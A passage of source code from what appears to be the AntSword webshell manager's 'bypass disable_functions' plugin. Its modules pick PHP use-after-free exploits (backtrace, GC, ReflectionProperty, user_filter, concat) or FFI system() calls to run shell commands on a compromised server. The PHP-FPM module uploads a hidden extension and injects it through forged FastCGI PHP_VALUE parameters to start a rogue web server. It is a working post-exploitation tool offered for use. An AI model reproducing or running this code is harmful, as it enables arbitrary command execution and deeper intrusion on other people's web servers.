182 | $cmd = "${arg['bin']} -c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\""." > ".$tmp." 2>&1";
183 | $ffi = FFI::cdef("int system(const char *command);");
184 | $ffi->system($cmd);
185 | echo @file_get_contents($tmp);
186 | unlink($tmp);`
187 | }
188 | }
189 | });
190 | }
191 | })
192 | .catch(err => {
193 | toastr.error(`${LANG['error']}: ${err}`, LANG_T['error']);
194 | });
195 |
196 | }
197 | }
198 |
199 | function references(name, value) {
200 | let refs = {
201 | "AntSword-Labs/bypass_disable_functions/8": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/8",
202 | "PHP FFI - 一种全新的PHP扩展方式": "https://www.laruence.com/2020/03/11/5475.html",
203 | "RCTF2019Web题解之nextphp": "https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp",
204 | };
205 | let ret = "";
206 | Object.keys(refs).map((k) => {
207 | ret += `${k}`;
208 | })
209 | return ``;
210 | }
211 |
212 | module.exports = PHP74_FFI;
--------------------------------------------------------------------------------
/core/php7_backtrace_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_Backtrace_UAF_EXP
9 | } = require('../../payload');
10 | let PHP7_Backtrace_UAF_LANG = LANG['core']['php7_backtrace_uaf'];
11 |
12 | class PHP7_Backtrace_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.0" &&
39 | infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3" && infodata.ver != "7.4") {
40 | toastr.error(PHP7_Backtrace_UAF_LANG['err']['phpvererr'], LANG_T['error']);
41 | return false;
42 | }
43 | // TODO: 检查详细版本号
44 | return true;
45 | }
46 |
47 | createForm(cell) {
48 | let self = this;
49 | let form = cell.attachForm([{
50 | type: 'settings',
51 | position: 'label-left',
52 | labelWidth: 100,
53 | inputWidth: 300,
54 | }, {
55 | type: 'block',
56 | inputWidth: 'auto',
57 | list: [{
58 | type: 'label',
59 | labelWidth: 300,
60 | label: PHP7_Backtrace_UAF_LANG['title']
61 | }, {
62 | type: 'block',
63 | inputWidth: 'auto',
64 | list: [{
65 | type: 'settings'
66 | },
67 | {
68 | type: "label",
69 | label: `${PHP7_Backtrace_UAF_LANG['status_cell']['ver']}`,
70 | },
71 | {
72 | type: "newcolumn"
73 | },
74 | {
75 | type: "label",
76 | labelWidth: 300,
77 | label: `7.0 - all versions to date`,
78 | },
79 | {
80 | type: "label",
81 | labelWidth: 300,
82 | label: `7.1 - all versions to date`,
83 | },
84 | {
85 | type: "label",
86 | labelWidth: 300,
87 | label: `7.2 - all versions to date`,
88 | },
89 | {
90 | type: "label",
91 | labelWidth: 300,
92 | label: `7.3 < 7.3.15 (released 20 Feb 2020)`,
93 | },
94 | {
95 | type: "label",
96 | labelWidth: 300,
97 | label: `7.4 < 7.4.3 (released 20 Feb 2020)`,
98 | },
99 | ],
100 | }]
101 | },
102 | {
103 | type: 'block',
104 | labelWidth: 100,
105 | inputWidth: 'auto',
106 | className: "display: flex;flex-direction: row;align-items: center;",
107 | list: [{
108 | type: 'label',
109 | label: '',
110 | name: 'status_label'
111 | }, {
112 | type: 'newcolumn',
113 | offset: 20
114 | }, {
115 | type: 'label',
116 | label: '',
117 | name: 'status_msg'
118 | }, ]
119 | },
120 | {
121 | type: 'block',
122 | inputWidth: 'auto',
123 | list: [{
124 | type: 'template',
125 | label: "Reference",
126 | style: "width:100%;",
127 | format: references
128 | }, ]
129 | }
130 | ], true);
131 | return form;
132 | }
133 |
134 | // 执行EXP, 必须有这个函数
135 | exploit() {
136 | let self = this;
137 | self.core = self.top.core;
138 | let binary = '/bin/sh'
139 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
140 | binary = 'cmd'
141 | }
142 | new antSword.module.terminal(self.top.opt, {
143 | exec: (arg = {
144 | bin: binary,
145 | cmd: ''
146 | }) => {
147 | return {
148 | _: PHP7_Backtrace_UAF_EXP(arg['bin'], arg['cmd']),
149 | }
150 | }
151 | });
152 | }
153 | }
154 |
155 | function references(name, value) {
156 | let refs = {
157 | "AntSword-Labs/bypass_disable_functions/9": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/9",
158 | "php7-gc-bypass": "https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass",
159 | "Bug #76047 Use-after-free when accessing already destructed backtrace arguments": "https://bugs.php.net/bug.php?id=76047",
160 | };
161 | let ret = "";
162 | Object.keys(refs).map((k) => {
163 | ret += `${k}`;
164 | })
165 | return ``;
166 | }
167 |
168 | module.exports = PHP7_Backtrace_UAF;
--------------------------------------------------------------------------------
/core/php7_gc_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_GC_UAF_EXP
9 | } = require('../../payload');
10 | let PHP7_GC_UAF_LANG = LANG['core']['php7_gc_uaf'];
11 |
12 | class PHP7_GC_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.0" &&
39 | infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") {
40 | toastr.error(PHP7_GC_UAF_LANG['err']['phpvererr'], LANG_T['error']);
41 | return false;
42 | }
43 | // TODO: 检查详细版本号
44 | return true;
45 | }
46 |
47 | createForm(cell) {
48 | let self = this;
49 | let form = cell.attachForm([{
50 | type: 'settings',
51 | position: 'label-left',
52 | labelWidth: 100,
53 | inputWidth: 300,
54 | }, {
55 | type: 'block',
56 | inputWidth: 'auto',
57 | list: [{
58 | type: 'label',
59 | labelWidth: 300,
60 | label: PHP7_GC_UAF_LANG['title']
61 | }, {
62 | type: 'block',
63 | inputWidth: 'auto',
64 | list: [{
65 | type: 'settings'
66 | },
67 | {
68 | type: "label",
69 | label: `${PHP7_GC_UAF_LANG['status_cell']['ver']}`,
70 | },
71 | {
72 | type: "newcolumn"
73 | },
74 | {
75 | type: "label",
76 | labelWidth: 300,
77 | label: `7.0 - all versions to date`,
78 | },
79 | {
80 | type: "label",
81 | labelWidth: 300,
82 | label: `7.1 - all versions to date`,
83 | },
84 | {
85 | type: "label",
86 | labelWidth: 300,
87 | label: `7.2 - all versions to date`,
88 | },
89 | {
90 | type: "label",
91 | labelWidth: 300,
92 | label: `7.3 - all versions to date`,
93 | },
94 | ],
95 | }]
96 | },
97 | {
98 | type: 'block',
99 | labelWidth: 100,
100 | inputWidth: 'auto',
101 | className: "display: flex;flex-direction: row;align-items: center;",
102 | list: [{
103 | type: 'label',
104 | label: '',
105 | name: 'status_label'
106 | }, {
107 | type: 'newcolumn',
108 | offset: 20
109 | }, {
110 | type: 'label',
111 | label: '',
112 | name: 'status_msg'
113 | }, ]
114 | },
115 | {
116 | type: 'block',
117 | inputWidth: 'auto',
118 | list: [{
119 | type: 'template',
120 | label: "Reference",
121 | style: "width:100%;",
122 | format: references
123 | }, ]
124 | }
125 | ], true);
126 | return form;
127 | }
128 |
129 | // 执行EXP, 必须有这个函数
130 | exploit() {
131 | let self = this;
132 | self.core = self.top.core;
133 | let binary = '/bin/sh'
134 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
135 | binary = 'cmd'
136 | }
137 | new antSword.module.terminal(self.top.opt, {
138 | exec: (arg = {
139 | bin: binary,
140 | cmd: ''
141 | }) => {
142 | return {
143 | _: PHP7_GC_UAF_EXP(arg['bin'], arg['cmd']),
144 | }
145 | }
146 | });
147 | }
148 | }
149 |
150 | function references(name, value) {
151 | let refs = {
152 | "AntSword-Labs/bypass_disable_functions/7": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/7",
153 | "php7-gc-bypass": "https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass",
154 | "Bug #72530 Use after free in GC with Certain Destructors": "https://bugs.php.net/bug.php?id=72530",
155 | };
156 | let ret = "";
157 | Object.keys(refs).map((k) => {
158 | ret += `${k}`;
159 | })
160 | return ``;
161 | }
162 |
163 | module.exports = PHP7_GC_UAF;
--------------------------------------------------------------------------------
/core/php7_reflectionproperty_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_ReflectionProperty_UAF_EXP
9 | } = require('../../payload');
10 | let PHP7_ReflectionProperty_UAF_LANG = LANG['core']['php7_reflectionproperty_uaf'];
11 |
12 | class PHP7_ReflectionProperty_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | if (infodata.os.toLowerCase() !== "linux") {
35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | return false;
37 | }
38 | if (infodata.ver != "7.4") {
39 | toastr.error(PHP7_ReflectionProperty_UAF_LANG['err']['phpvererr'], LANG_T['error']);
40 | return false;
41 | }
42 | // TODO: 检查详细版本号
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP7_ReflectionProperty_UAF_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP7_ReflectionProperty_UAF_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.4 <= 7.4.8`,
77 | },
78 | ],
79 | }]
80 | },
81 | {
82 | type: 'block',
83 | labelWidth: 100,
84 | inputWidth: 'auto',
85 | className: "display: flex;flex-direction: row;align-items: center;",
86 | list: [{
87 | type: 'label',
88 | label: '',
89 | name: 'status_label'
90 | }, {
91 | type: 'newcolumn',
92 | offset: 20
93 | }, {
94 | type: 'label',
95 | label: '',
96 | name: 'status_msg'
97 | }, ]
98 | },
99 | {
100 | type: 'block',
101 | inputWidth: 'auto',
102 | list: [{
103 | type: 'template',
104 | label: "Reference",
105 | style: "width:100%;",
106 | format: references
107 | }, ]
108 | }
109 | ], true);
110 | return form;
111 | }
112 |
113 | // 执行EXP, 必须有这个函数
114 | exploit() {
115 | let self = this;
116 | self.core = self.top.core;
117 | new antSword.module.terminal(self.top.opt, {
118 | exec: (arg = {
119 | bin: '/bin/bash',
120 | cmd: ''
121 | }) => {
122 | return {
123 | _: PHP7_ReflectionProperty_UAF_EXP(arg['bin'], arg['cmd']),
124 | }
125 | }
126 | });
127 | }
128 | }
129 |
130 | function references(name, value) {
131 | let refs = {
132 | "2020YCBCTF/Break_the_Wall": "https://github.com/gwht/2020YCBCTF/tree/main/wp/web/break_the_wall",
133 | "Bug #79820 Use after free when type duplicated into ReflectionProperty gets resolved": "https://bugs.php.net/bug.php?id=79820",
134 | };
135 | let ret = "";
136 | Object.keys(refs).map((k) => {
137 | ret += `${k}`;
138 | })
139 | return ``;
140 | }
141 |
142 | module.exports = PHP7_ReflectionProperty_UAF;
--------------------------------------------------------------------------------
/core/php7_userfilter/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP7_UserFilter_EXP
9 | } = require('../../payload');
10 | let PHP7_USERFILTER_LANG = LANG['core']['php7_userfilter'];
11 |
12 | class PHP7_UserFilter extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | // if (infodata.os.toLowerCase() !== "linux") {
35 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | // return false;
37 | // }
38 | // if (infodata.ver != "7.0" &&
39 | // infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") {
40 | // toastr.error(PHP7_USERFILTER_LANG['err']['phpvererr'], LANG_T['error']);
41 | // return false;
42 | // }
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP7_USERFILTER_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP7_USERFILTER_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.0 - all versions to date`,
77 | },
78 | {
79 | type: "label",
80 | labelWidth: 300,
81 | label: `7.1 - all versions to date`,
82 | },
83 | {
84 | type: "label",
85 | labelWidth: 300,
86 | label: `7.2 - all versions to date`,
87 | },
88 | {
89 | type: "label",
90 | labelWidth: 300,
91 | label: `7.3 - all versions to date`,
92 | },
93 | {
94 | type: "label",
95 | labelWidth: 300,
96 | label: `7.4 - all versions to date`,
97 | },
98 | {
99 | type: "label",
100 | labelWidth: 300,
101 | label: `8.0 - all versions to date`,
102 | }
103 | ],
104 | }]
105 | },
106 | {
107 | type: 'block',
108 | labelWidth: 100,
109 | inputWidth: 'auto',
110 | className: "display: flex;flex-direction: row;align-items: center;",
111 | list: [{
112 | type: 'label',
113 | label: '',
114 | name: 'status_label'
115 | }, {
116 | type: 'newcolumn',
117 | offset: 20
118 | }, {
119 | type: 'label',
120 | label: '',
121 | name: 'status_msg'
122 | }, ]
123 | },
124 | {
125 | type: 'block',
126 | inputWidth: 'auto',
127 | list: [{
128 | type: 'template',
129 | label: "Reference",
130 | style: "width:100%;",
131 | format: references
132 | }, ]
133 | }
134 | ], true);
135 | return form;
136 | }
137 |
138 | // 执行EXP, 必须有这个函数
139 | exploit() {
140 | let self = this;
141 | self.core = self.top.core;
142 | let binary = '/bin/sh'
143 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
144 | binary = 'cmd'
145 | }
146 | new antSword.module.terminal(self.top.opt, {
147 | exec: (arg = {
148 | bin: binary,
149 | cmd: ''
150 | }) => {
151 | return {
152 | _: PHP7_UserFilter_EXP(arg['bin'], arg['cmd']),
153 | }
154 | }
155 | });
156 | }
157 | }
158 |
159 | function references(name, value) {
160 | let refs = {
161 | "PHP 7.0-8.0 user_filter bypass": "https://github.com/mm0r1/exploits/tree/master/php-filter-bypass",
162 | "AntSword-Labs/bypass_disable_functions/7": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/7",
163 | "Bug #54350 Memory corruption with user_filter": "https://bugs.php.net/bug.php?id=54350",
164 | };
165 | let ret = "";
166 | Object.keys(refs).map((k) => {
167 | ret += `${k}`;
168 | })
169 | return ``;
170 | }
171 |
172 | module.exports = PHP7_UserFilter;
--------------------------------------------------------------------------------
/core/php_concat_uaf/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const nodeurl = require('url');
7 | const {
8 | PHP_CONCAT_UAF_EXP
9 | } = require('../../payload');
10 | let PHP_CONCAT_UAF_LANG = LANG['core']['php_concat_uaf'];
11 |
12 | class PHP_Concat_UAF extends Base {
13 | /**
14 | *
15 | * @param {dhtmlxObject} cell 组件
16 | * @param {Object} top 上层对象
17 | */
18 | constructor(cell, top) {
19 | super(cell, top);
20 | if (this.precheck() == false) {
21 | return;
22 | }
23 | this.infodata = {
24 | ver: this.top.infodata.ver,
25 | };
26 | this.cell = cell;
27 | this.form = this.createForm(this.cell);
28 | }
29 |
30 | // 提前检测
31 | precheck() {
32 | let self = this;
33 | let infodata = self.top.infodata;
34 | // if (infodata.os.toLowerCase() !== "linux") {
35 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
36 | // return false;
37 | // }
38 | // if (infodata.ver != "7.3" &&
39 | // infodata.ver != "7.4" && infodata.ver != "8.0" && infodata.ver != "8.1") {
40 | // toastr.error(PHP_CONCAT_UAF_LANG['err']['phpvererr'], LANG_T['error']);
41 | // return false;
42 | // }
43 | return true;
44 | }
45 |
46 | createForm(cell) {
47 | let self = this;
48 | let form = cell.attachForm([{
49 | type: 'settings',
50 | position: 'label-left',
51 | labelWidth: 100,
52 | inputWidth: 300,
53 | }, {
54 | type: 'block',
55 | inputWidth: 'auto',
56 | list: [{
57 | type: 'label',
58 | labelWidth: 300,
59 | label: PHP_CONCAT_UAF_LANG['title']
60 | }, {
61 | type: 'block',
62 | inputWidth: 'auto',
63 | list: [{
64 | type: 'settings'
65 | },
66 | {
67 | type: "label",
68 | label: `${PHP_CONCAT_UAF_LANG['status_cell']['ver']}`,
69 | },
70 | {
71 | type: "newcolumn"
72 | },
73 | {
74 | type: "label",
75 | labelWidth: 300,
76 | label: `7.3 - all versions to date`,
77 | },
78 | {
79 | type: "label",
80 | labelWidth: 300,
81 | label: `7.4 - all versions to date`,
82 | },
83 | {
84 | type: "label",
85 | labelWidth: 300,
86 | label: `8.0 - all versions to date`,
87 | },
88 | {
89 | type: "label",
90 | labelWidth: 300,
91 | label: `8.1 - all versions to date`,
92 | }
93 | ],
94 | }]
95 | },
96 | {
97 | type: 'block',
98 | labelWidth: 100,
99 | inputWidth: 'auto',
100 | className: "display: flex;flex-direction: row;align-items: center;",
101 | list: [{
102 | type: 'label',
103 | label: '',
104 | name: 'status_label'
105 | }, {
106 | type: 'newcolumn',
107 | offset: 20
108 | }, {
109 | type: 'label',
110 | label: '',
111 | name: 'status_msg'
112 | }, ]
113 | },
114 | {
115 | type: 'block',
116 | inputWidth: 'auto',
117 | list: [{
118 | type: 'template',
119 | label: "Reference",
120 | style: "width:100%;",
121 | format: references
122 | }, ]
123 | }
124 | ], true);
125 | return form;
126 | }
127 |
128 | // 执行EXP, 必须有这个函数
129 | exploit() {
130 | let self = this;
131 | self.core = self.top.core;
132 | let binary = '/bin/sh'
133 | if(self.top.infodata.os.toLowerCase().startsWith('win')) {
134 | binary = 'cmd'
135 | }
136 | new antSword.module.terminal(self.top.opt, {
137 | exec: (arg = {
138 | bin: binary,
139 | cmd: ''
140 | }) => {
141 | return {
142 | _: PHP_CONCAT_UAF_EXP(arg['bin'], arg['cmd']),
143 | }
144 | }
145 | });
146 | }
147 | }
148 |
149 | function references(name, value) {
150 | let refs = {
151 | "PHP 7.3-8.1 disable_functions bypass [concat_function]": "https://github.com/mm0r1/exploits/tree/master/php-concat-bypass",
152 | "Bug #81705 type confusion/UAF on set_error_handler with concat operation": "https://bugs.php.net/bug.php?id=81705",
153 | };
154 | let ret = "";
155 | Object.keys(refs).map((k) => {
156 | ret += `${k}`;
157 | })
158 | return ``;
159 | }
160 |
161 | module.exports = PHP_Concat_UAF;
--------------------------------------------------------------------------------
/core/php_fpm/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const {
7 | FastCgiClient
8 | } = require('../../payload');
9 | let PHP_FPM_LANG = LANG['core']['php_fpm'];
10 |
11 | class PHP_FPM extends Base {
12 | /**
13 | *
14 | * @param {dhtmlxObject} cell 组件
15 | * @param {Object} top 上层对象
16 | */
17 | constructor(cell, top) {
18 | super(cell, top);
19 | if (this.precheck() == false) {
20 | return;
21 | }
22 | this.form = this.createForm(this.cell);
23 | }
24 |
25 | // 提前检测
26 | precheck() {
27 | let self = this;
28 | let infodata = self.top.infodata;
29 | // if (infodata.os.toLowerCase() !== "linux" ) {
30 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
31 | // return false;
32 | // }
33 | return true;
34 | }
35 |
36 | createForm(cell) {
37 | let self = this;
38 | let form = cell.attachForm([{
39 | type: 'settings',
40 | position: 'label-left',
41 | labelWidth: 100,
42 | inputWidth: 300,
43 | }, {
44 | type: 'block',
45 | inputWidth: 'auto',
46 | list: [{
47 | type: 'label',
48 | label: PHP_FPM_LANG['title']
49 | },
50 | {
51 | type: 'combo',
52 | label: PHP_FPM_LANG['form']['fpm_addr'],
53 | labelWidth: 300,
54 | name: 'fpm_addr',
55 | required: true,
56 | options: (() => {
57 | let vals = [
58 | 'unix:///var/run/php5-fpm.sock',
59 | 'unix:///var/run/php/php5-fpm.sock',
60 | 'unix:///var/run/php-fpm/php5-fpm.sock',
61 | 'unix:///var/run/php/php7-fpm.sock',
62 | '/var/run/php/php7.2-fpm.sock',
63 | '/usr/local/var/run/php7.3-fpm.sock',
64 | 'localhost:9000',
65 | '127.0.0.1:9000',
66 | ];
67 | let ret = [];
68 | vals.map((_) => {
69 | ret.push({
70 | text: _,
71 | value: _
72 | });
73 | });
74 | return ret;
75 | })()
76 | },
77 | {
78 | type: 'combo',
79 | label: PHP_FPM_LANG['form']['phpbinary'],
80 | labelWidth: 300,
81 | name: 'phpbinary',
82 | required: true,
83 | options: (() => {
84 | let vals = [
85 | 'php',
86 | 'php.exe',
87 | '/usr/bin/php',
88 | 'C:/php/php.exe'
89 | ];
90 | let ret = [];
91 | vals.map((_) => {
92 | ret.push({
93 | text: _,
94 | value: _
95 | });
96 | });
97 | return ret;
98 | })()
99 | }, {
100 | type: 'combo',
101 | label: PHP_FPM_LANG['form']['webroot'],
102 | labelWidth: 300,
103 | name: 'webrootdir',
104 | required: true,
105 | options: (() => {
106 | let vals = [
107 | self.top.infodata.phpself,
108 | self.top.infodata.shell_dir,
109 | self.top.infodata.temp_dir,
110 | ];
111 | let ret = [];
112 | vals.map((_) => {
113 | ret.push({
114 | text: _,
115 | value: _
116 | });
117 | });
118 | return ret;
119 | })()
120 | }
121 | ]
122 | },
123 | {
124 | type: 'block',
125 | labelWidth: 100,
126 | inputWidth: 'auto',
127 | className: "display: flex;flex-direction: row;align-items: center;",
128 | list: [{
129 | type: 'label',
130 | label: '',
131 | name: 'status_label'
132 | }, {
133 | type: 'newcolumn',
134 | offset: 20
135 | }, {
136 | type: 'label',
137 | label: '',
138 | name: 'status_msg'
139 | }, ]
140 | }, {
141 | type: 'block',
142 | inputWidth: 'auto',
143 | list: [{
144 | type: 'template',
145 | label: "Reference",
146 | style: "width:100%;",
147 | format: references
148 | }, ]
149 | }
150 | ], true);
151 |
152 | return form;
153 | }
154 |
155 | // 执行EXP, 必须有这个函数
156 | exploit() {
157 | let self = this;
158 | let fpm_host = '';
159 | let fpm_port = -1;
160 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
161 | if (self.form.validate()) {
162 | self.cell.progressOn();
163 | let core = self.top.core;
164 | let formvals = self.form.getValues();
165 | let phpbinary = formvals['phpbinary'];
166 | let webrootdir = formvals['webrootdir'];
167 | formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
168 | if (formvals['fpm_addr'].startsWith('unix:')) {
169 | fpm_host = formvals['fpm_addr'];
170 | } else if (formvals['fpm_addr'].startsWith('/')) {
171 | fpm_host = `unix://${formvals['fpm_addr']}`
172 | } else {
173 | fpm_host = formvals['fpm_addr'].split(':')[0] || '';
174 | fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
175 | }
176 | // 生成 ext
177 | let wdir = "";
178 | if (self.isOpenBasedir) {
179 | for (var v in self.top.infodata.open_basedir) {
180 | if (self.top.infodata.open_basedir[v] == 1) { // 目录可写
181 | if (v == self.top.infodata.phpself) {
182 | wdir = v;
183 | } else {
184 | wdir = v;
185 | }
186 | break;
187 | }
188 | };
189 | } else {
190 | wdir = self.top.infodata.temp_dir;
191 | }
192 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
193 | let fileBuffer = self.generateExt(cmd);
194 | if (!fileBuffer) {
195 | toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
196 | self.cell.progressOff();
197 | return
198 | }
199 |
200 | new Promise((res, rej) => {
201 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
202 | // 上传 ext
203 | core.request(
204 | core.filemanager.upload_file({
205 | path: ext_path,
206 | content: fileBuffer
207 | })
208 | ).then((response) => {
209 | var ret = response['text'];
210 | if (ret === '1') {
211 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
212 | res(ext_path);
213 | } else {
214 | rej("upload extension fail");
215 | }
216 | }).catch((err) => {
217 | rej(err)
218 | });
219 | }).then((p) => {
220 | // 触发 payload, 会超时
221 | var payload = `${FastCgiClient()};
222 | $content="";
223 | $client = new Client('${fpm_host}',${fpm_port});
224 | $client->request(array(
225 | 'GATEWAY_INTERFACE' => 'FastCGI/1.0',
226 | 'REQUEST_METHOD' => 'POST',
227 | 'SERVER_SOFTWARE' => 'php/fcgiclient',
228 | 'REMOTE_ADDR' => '127.0.0.1',
229 | 'REMOTE_PORT' => '9984',
230 | 'SERVER_ADDR' => '127.0.0.1',
231 | 'SERVER_PORT' => '80',
232 | 'SERVER_NAME' => 'mag-tured',
233 | 'SERVER_PROTOCOL' => 'HTTP/1.1',
234 | 'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
235 | 'PHP_VALUE' => 'extension=${p}',
236 | 'PHP_ADMIN_VALUE' => 'extension=${p}',
237 | 'CONTENT_LENGTH' => strlen($content)
238 | ),
239 | $content
240 | );
241 | sleep(1);
242 | echo(1);
243 | `;
244 | core.request({
245 | _: payload,
246 | }).then((response) => {
247 |
248 | }).catch((err) => {
249 | // 超时也是正常
250 | })
251 | }).then(() => {
252 | // 验证是否成功开启
253 | var payload = `sleep(1);
254 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
255 | if(!$fp){
256 | echo(0);
257 | }else{
258 | echo(1);
259 | @fclose($fp);
260 | };`
261 | core.request({
262 | _: payload,
263 | }).then((response) => {
264 | var ret = response['text'];
265 | if (ret === '1') {
266 | toastr.success(LANG['success'], LANG_T['success']);
267 | self.form.setItemLabel('status_label', `New WebServer Listen`);
268 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
269 | self.uploadProxyScript("127.0.0.1", port);
270 | self.cell.progressOff();
271 | } else {
272 | self.cell.progressOff();
273 | throw ("exploit fail");
274 | }
275 | }).catch((err) => {
276 | self.cell.progressOff();
277 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
278 | })
279 | }).catch((err) => {
280 | self.cell.progressOff();
281 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
282 | });
283 | } else {
284 | self.cell.progressOff();
285 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
286 | }
287 | return;
288 | }
289 | }
290 |
291 | function references(name, value) {
292 | let refs = {
293 | "AntSword-Labs/bypass_disable_functions/5": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5/",
294 | "Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 (Author: phithon)": "https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html",
